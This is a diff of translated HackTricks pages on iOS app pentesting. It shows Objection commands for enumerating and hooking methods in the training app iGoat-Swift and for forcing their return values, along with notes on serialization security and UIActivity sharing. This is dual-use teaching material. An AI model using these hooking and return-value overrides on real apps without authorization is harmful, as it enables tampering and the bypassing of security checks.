* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,29 +1,30 @@
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
Za ovu sekciju će se koristiti alat [**Objection**](https://github.com/sensepost/objection).\
Započnite dobijanjem Objection sesije izvršavanjem nečega poput:
Za ovu sekciju koristiće se alat [**Objection**](https://github.com/sensepost/objection).\
Počnite tako što ćete dobiti Objection sesiju izvršavajući nešto poput:
```bash
objection -d --gadget "iGoat-Swift" explore
objection -d --gadget "OWASP.iGoat-Swift" explore
```
Možete izvršiti i `frida-ps -Uia` da biste proverili pokrenute procese telefona.
Možete takođe izvršiti `frida-ps -Uia` da proverite pokrenute procese na telefonu.
# Osnovno prebrojavanje aplikacija
# Osnovna enumeracija aplikacije
## Lokalne putanje aplikacija
## Lokalne putanje aplikacije
* `env`: Pronađite putanje gde je aplikacija smeštena unutar uređaja
@ -40,7 +41,7 @@ LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A1
## Lista paketa, okvira i biblioteka
* `ios bundles list_bundles`: Lista paketa aplikacije
* `ios bundles list_bundles`: Lista pakete aplikacije
```bash
ios bundles list_bundles
@ -49,7 +50,7 @@ Executable Bundle Version Path
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
```
* `ios bundles list_frameworks`: Lista eksternih okvira koje koristi aplikacija
* `ios bundles list_frameworks`: Lista spoljne okvire koje koristi aplikacija
```bash
ios bundles list_frameworks
@ -92,7 +93,7 @@ Foundation 0x1ab550000 2732032 (2.6 MiB) /System/L
libobjc.A.dylib 0x1bdc64000 233472 (228.0 KiB) /usr/lib/libobjc.A.dylib
[...]
```
* `memory list exports <module_name>`: Izvozi učitanog modula
* `memory list exports <module_name>`: Izvodi učitanog modula
```bash
memory list exports iGoat-Swift
@ -115,6 +116,7 @@ variable _ZTVN9couchbase6differ10BaseDifferE
variable _ZTIN9couchbase6differ10BaseDifferE 0x10523c0f8
[..]
```
## Lista klasa aplikacije
* `ios hooking list classes`: Lista klasa aplikacije
@ -135,7 +137,7 @@ AAAppleTVRequest
AAAttestationSigner
[...]
```
* `ios hooking search classes <search_term>`: Pretraga klase koja sadrži određeni string. Možete **pretraživati neki jedinstveni termin koji je povezan sa glavnim paketom** aplikacije kako biste pronašli glavne klase aplikacije, kao u primeru:
* `ios hooking search classes <search_term>`: Pretražuje klasu koja sadrži string. Možete **pretraživati neki jedinstveni termin koji se odnosi na glavni paket aplikacije** da pronađete glavne klase aplikacije kao u primeru:
```bash
ios hooking search classes iGoat
@ -155,7 +157,7 @@ iGoat_Swift.MemoryManagementVC
## Lista metoda klase
* `ios hooking list class_methods`: Lista metoda određene klase
* `ios hooking list class_methods`: Lista metoda specifične klase
```bash
ios hooking list class_methods iGoat_Swift.RCreditInfo
@ -169,7 +171,7 @@ ios hooking list class_methods iGoat_Swift.RCreditInfo
- initWithValue:
- setCardNumber:
```
* `ios hooking search methods <search_term>`: Pretraga metode koja sadrži određeni string
* `ios hooking search methods <search_term>`: Pretražuje metodu koja sadrži string
```bash
ios hooking search methods cvv
@ -186,35 +188,35 @@ ios hooking search methods cvv
[iGoat_Swift.CloudMisconfigurationExerciseVC - setCvvTxtField:]
```
# Osnovno hakovanje
# Osnovno hooking
Sada kada ste **izlistali klase i module** koje koristi aplikacija, možda ste pronašli neka **interesantna imena klasa i metoda**.
Sada kada ste **enumerisali klase i module** koje koristi aplikacija, možda ste pronašli neka **zanimljiva imena klasa i metoda**.
## Hakovanje svih metoda klase
## Hook sve metode klase
* `ios hooking watch class <class_name>`: Hakujte sve metode određene klase, ispišite sve početne parametre i povratne vrednosti
* `ios hooking watch class <class_name>`: Hook sve metode klase, dump sve inicijalne parametre i povratne vrednosti
```bash
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
```
## Hakovanje pojedinačne metode
## Hook pojedinačne metode
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Hakujte određenu metodu klase i ispišite parametre, povratne vrednosti i stek poziva svaki put kada se metoda pozove
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Hook specifične metode klase dumpujući parametre, backtrace i povratne vrednosti metode svaki put kada se pozove
```bash
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
```
## Promena povratne vrednosti boolean tipa
## Promena Boolean povratne vrednosti
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: Ovo će naterati izabranu metodu da vrati naznačeni boolean
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: Ovo će učiniti da izabrana metoda vrati navedeni boolean
```bash
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
```
## Generisanje šablona za hakovanje
## Generisanje hooking šablona
* `ios hooking generate simple <class_name>`:
@ -264,16 +266,17 @@ console.log('Leaving - setCvv:');
```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od početka do naprednog nivoa sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje tako što ćete slati PR-ove na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,34 +1,36 @@
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
# WebView Protokol Handleri
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
# WebView Protocol Handlers
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
Kod i više informacija na [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence).
## Serijalizacija objekata u iOS razvoju
U iOS-u, **serijalizacija objekata** podrazumeva pretvaranje objekata u format koji se može lako skladištiti ili preneti, a zatim njihovo rekonstruisanje iz ovog formata kada je potrebno. Dva glavna protokola, **`NSCoding`** i **`NSSecureCoding`**, olakšavaju ovaj proces za Objective-C ili `NSObject` podklase, omogućavajući objektima da budu serijalizovani u **`NSData`**, format koji obuhvata bajtne bafera.
U iOS-u, **serijalizacija objekata** podrazumeva konvertovanje objekata u format koji se može lako skladištiti ili prenositi, a zatim njihovo rekonstrukciju iz ovog formata kada je to potrebno. Dva glavna protokola, **`NSCoding`** i **`NSSecureCoding`**, olakšavaju ovaj proces za Objective-C ili `NSObject` podklase, omogućavajući objektima da budu serijalizovani u **`NSData`**, format koji obavija bajt bafer.
### Implementacija **`NSCoding`**
Da biste implementirali `NSCoding`, klasa mora naslediti od `NSObject` ili biti označena kao `@objc`. Ovaj protokol zahteva implementaciju dve metode za kodiranje i dekodiranje instancnih promenljivih:
### **`NSCoding`** Implementacija
Da bi se implementirao `NSCoding`, klasa mora nasleđivati od `NSObject` ili biti označena kao `@objc`. Ovaj protokol zahteva implementaciju dva metoda za kodiranje i dekodiranje instancnih varijabli:
```swift
class CustomPoint: NSObject, NSCoding {
var x: Double = 0.0
@ -36,8 +37,8 @@ self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
}
}
```
### **Poboljšanje sigurnosti pomoću `NSSecureCoding`**
Da bi se umanjile ranjivosti u kojima napadači ubacuju podatke u već konstruisane objekte, **`NSSecureCoding`** nudi unapređeni protokol. Klase koje se pridržavaju `NSSecureCoding` moraju verifikovati tip objekata tokom dekodiranja, osiguravajući da se instanciraju samo očekivani tipovi objekata. Međutim, važno je napomenuti da iako `NSSecureCoding` poboljšava sigurnost tipova, ne šifruje podatke niti osigurava njihovu celovitost, što zahteva dodatne mere za zaštitu osetljivih informacija:
### **Povećanje bezbednosti sa `NSSecureCoding`**
Da bi se umanjile ranjivosti gde napadači ubacuju podatke u već konstruisane objekte, **`NSSecureCoding`** nudi poboljšani protokol. Klase koje se pridržavaju `NSSecureCoding` moraju da verifikuju tip objekata tokom dekodiranja, osiguravajući da se instanciraju samo očekivani tipovi objekata. Međutim, važno je napomenuti da, iako `NSSecureCoding` poboljšava bezbednost tipa, ne enkriptuje podatke niti osigurava njihovu integritet, što zahteva dodatne mere za zaštitu osetljivih informacija:
```swift
static var supportsSecureCoding: Bool {
return true
@ -45,42 +46,42 @@ return true
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
```
## Arhiviranje podataka pomoću `NSKeyedArchiver`
`NSKeyedArchiver` i njegov pandan, `NSKeyedUnarchiver`, omogućavaju enkodiranje objekata u datoteku i kasnije njihovo vraćanje. Ovaj mehanizam je koristan za trajno čuvanje objekata:
## Data Archiving with `NSKeyedArchiver`
`NSKeyedArchiver` i njegov pandan, `NSKeyedUnarchiver`, omogućavaju kodiranje objekata u datoteku i kasnije njihovo preuzimanje. Ovaj mehanizam je koristan za trajno čuvanje objekata:
```swift
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
```
### Korišćenje `Codable` za pojednostavljenu serijalizaciju
Protokol `Codable` u Swift-u kombinuje `Decodable` i `Encodable`, olakšavajući kodiranje i dekodiranje objekata poput `String`, `Int`, `Double`, itd., bez dodatnog napora:
### Korišćenje `Codable` za pojednostavljenu serializaciju
Swiftov `Codable` protokol kombinuje `Decodable` i `Encodable`, olakšavajući kodiranje i dekodiranje objekata kao što su `String`, `Int`, `Double`, itd., bez dodatnog truda:
```swift
struct CustomPointStruct: Codable {
var x: Double
var name: String
}
```
Ovaj pristup podržava jednostavnu serijalizaciju u i iz lista svojstava i JSON-a, poboljšavajući obradu podataka u Swift aplikacijama.
Ovaj pristup podržava jednostavnu serijalizaciju ka i od property lista i JSON-a, poboljšavajući rukovanje podacima u Swift aplikacijama.
## Alternative za enkodiranje JSON-a i XML-a
Pored podrške ugrađene u jezik, postoji nekoliko biblioteka trećih strana koje nude mogućnosti enkodiranja/dekodiranja JSON-a i XML-a, pri čemu svaka ima svoje karakteristike performansi i sigurnosne razmatranja. Važno je pažljivo odabrati ove biblioteke, posebno kako bi se umanjile ranjivosti poput XXE (XML External Entities) napada konfiguracijom parsera radi sprečavanja obrade spoljnih entiteta.
### Sigurnosna razmatranja
Prilikom serijalizacije podataka, posebno na datotečni sistem, važno je biti oprezan u vezi potencijalnog uključivanja osetljivih informacija. Serijalizovani podaci, ako se presretnu ili nepravilno rukuju, mogu izložiti aplikacije rizicima poput neovlašćenih radnji ili curenja podataka. Preporučuje se šifrovanje i potpisivanje serijalizovanih podataka radi poboljšanja sigurnosti.
## JSON i XML kodiranje alternativama
Pored nativne podrške, nekoliko biblioteka trećih strana nudi mogućnosti kodiranja/dekodiranja JSON-a i XML-a, svaka sa svojim karakteristikama performansi i bezbednosnim razmatranjima. Važno je pažljivo odabrati ove biblioteke, posebno kako bi se umanjile ranjivosti poput XXE (XML spoljašnjih entiteta) napada konfigurisanjem parsera da spreče obradu spoljašnjih entiteta.
### Bezbednosna razmatranja
Kada se serijalizuju podaci, posebno u sistem datoteka, važno je biti oprezan u vezi sa potencijalnim uključivanjem osetljivih informacija. Serijalizovani podaci, ako budu presretnuti ili nepravilno obrađeni, mogu izložiti aplikacije rizicima kao što su neovlašćene radnje ili curenje podataka. Preporučuje se enkripcija i potpisivanje serijalizovanih podataka kako bi se poboljšala bezbednost.
## Reference
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite videti **oglašavanje vaše kompanije u HackTricks-u** ili **preuzeti HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Deljenje UI aktivnosti na iOS-u
# iOS UIActivity Sharing
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Deljenje UI aktivnosti pojednostavljeno
# UIActivity Sharing Simplified
Od iOS 6 nadalje, treće strane aplikacije su omogućene da **deljenje podataka** kao što su tekst, URL-ovi ili slike koriste mehanizme poput AirDrop-a, kako je opisano u Apple-ovom [Vodiču za međuaplikacijsku komunikaciju](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3). Ova funkcionalnost se manifestuje kroz sistemski _deljeni list aktivnosti_ koji se prikazuje prilikom interakcije sa dugmetom "Deljenje".
Od iOS 6 pa nadalje, aplikacije trećih strana su omogućene da **dele podatke** kao što su tekst, URL-ovi ili slike koristeći mehanizme poput AirDrop-a, kako je navedeno u Apple-ovom [Vodiču za međusobnu komunikaciju aplikacija](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3). Ova funkcija se manifestuje kroz sistemski _sheet za deljenje aktivnosti_ koji se pojavljuje prilikom interakcije sa dugmetom "Podeli".
Potpuni pregled svih ugrađenih opcija za deljenje dostupan je na [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Razvijači mogu izabrati da isključe određene opcije za deljenje ako smatraju da nisu pogodne za njihovu aplikaciju.
Sveobuhvatna enumeracija svih ugrađenih opcija deljenja dostupna je na [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Programeri mogu odlučiti da isključe određene opcije deljenja ako smatraju da nisu prikladne za njihovu aplikaciju.
## **Kako deliti podatke**
@ -28,51 +29,52 @@ Pažnja treba biti usmerena na:
- Uključivanje prilagođenih aktivnosti.
- Isključivanje određenih tipova aktivnosti.
Deljenje se olakšava putem instanciranja `UIActivityViewController`-a, kojem se prosleđuju stavke namenjene za deljenje. To se postiže pozivanjem:
Deljenje se olakšava instanciranjem `UIActivityViewController`, kojem se prosleđuju stavke koje se nameravaju deliti. To se postiže pozivanjem:
```bash
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
0x1000df034 45 44 initWithActivityItems:applicationActivities:
```
Razvojni programeri bi trebali pažljivo pregledati `UIActivityViewController` za aktivnosti i prilagođene aktivnosti s kojima je inicijaliziran, kao i za bilo koje navedene `excludedActivityTypes`.
Developeri bi trebali pažljivo ispitati `UIActivityViewController` za aktivnosti i prilagođene aktivnosti sa kojima je inicijalizovan, kao i sve navedene `excludedActivityTypes`.
## **Kako primiti podatke**
Sljedeći aspekti su ključni prilikom primanja podataka:
Sledeći aspekti su ključni prilikom primanja podataka:
- Deklaracija **prilagođenih vrsta dokumenata**.
